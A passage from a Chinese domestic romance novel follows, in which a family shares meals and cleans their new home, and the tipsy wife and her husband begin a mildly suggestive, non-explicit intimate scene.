傅青山找人查的时间,6点58,大刚准时引火,等大锅里的水烧开,傅青山把饺子下进去,傅大嫂和老三媳妇包的饺子胖嘟嘟的,飘起来的时候看着像一个个的小福袋。 吃过香喷喷的开锅饺子,傅青山去上班,二刚去上学,谢晚棠带着四个孩子在家大扫除。 开始干活前,谢晚棠开了个小会:“我们先收拾各自的小炕间,怎么安排布局自己定,缺什么东西记下来,等过些日子大集咱们一块去买上。” “好!” 上午收拾完三个小炕间和当门,大刚用大扫帚打扫了院子,谢晚棠叉腰站在当门前,看着目前还光秃秃的院子,就差菜和花了,菜等着去大集上买点种子,花等着开春了慢慢挑好看的移栽吧! 下午兰兰蒸了一锅白面馒头,晚上傅青山下班回来带回来的猪肉、排骨和猪大肠,炖了个排骨芋头,蒸了个虾米鸡蛋羹,辣椒炒大肠,菠菜粉条炒肉丝。 晚上不像早晨那样赶时间,四个荤菜配白面馒头,小日子必须板板正正。 谢晚棠给三个小的熬了冰糖雪梨当小甜水饮料,她和傅青山还有两个大的则喝的是之前别人找她做衣服送来的一瓶自酿果酒。 傅青山看着倒在茶杯里的酒,犹豫了下,看向谢晚棠。 结婚那天他喝多了,差点弄伤了她,跟她说过以后不会再碰酒。 谢晚棠笑笑:“今天可以破例一次!” 一家人围坐在主卧的大炕上,一起碰杯:“新生活快乐!” 谢晚棠今晚开心,果酒又爽口,感觉没什么酒味,就多喝了几杯,喝完才发觉,这果酒就像葡萄酒一样,后劲大,整个人晕乎乎轻飘飘的,明明快入冬了,却感觉浑身发热,洗脚的时候,烫人的洗脚水更是从脚底往上注入一股难耐的燥热。 傅青山出去倒完水回来,就看到谢晚棠坐在炕上,皱着眉头在解胸口的扣子,因为手使不上劲,半天解不开,听到他进来,闻声抬头,像冬日雪地里红着眼睛的委屈小猫,轻声向他求助:“帮帮我。” 傅青山虽然破例,但只喝了一杯,并无醉意,可看到谢晚棠扯着衣襟请求他帮她解开,瞬间感觉喉头发紧,如喝醉一般全身涌动着热流。 许是看他不动,以为他不想帮忙,谢晚棠更加委屈:“二哥……帮帮我,我解不开。” 傅青山喉结滚动,不顾三个刚那间还在玩闹的动静,关上门反锁,转过身来,走到谢晚棠面前。 谢晚棠坐着,如仰望神灵一般仰视着他,他深吸一口气,抬手搭上谢晚棠的指尖,解开她指尖下攥到温热的扣子。 这副美丽的身体如同一本精妙绝伦的好书,纵使他已翻阅过多次,逐字逐句地反复品味过,再次打开时,仍旧那样强烈地吸引着他。 过往,他只能在深夜,伴着月色去体味书中的美妙。 当他第一次有机会在明黄的烛光下翻开这本书时,才发现其中最精美迷人之处,只要看过一眼,便沉迷其中,欲罢不能,不能自控地疯狂地去探索、去汲取…… 四周一切的声音在这一刻都消失了,他只能听到自己胸腔的剧烈跳动,好似有什么要冲出来。 指尖下的温度越来越烫人,烫得他的手指颤抖,看谢晚棠的眼神逐渐变深。 他再也克制不住,伸手去拿炕边早就备好的小东西,谢晚棠柔若无骨的手搭上他的肩膀,红着眼睛如迷途的小兔子一般朝他摇头:“二哥,不用那个。” 他怔了下:“为什么?” 谢晚棠看起来似醉非醉,搂着他的脖子贴近他耳朵,声音黏黏糊糊如撒娇:“我想和二哥,不想和它。”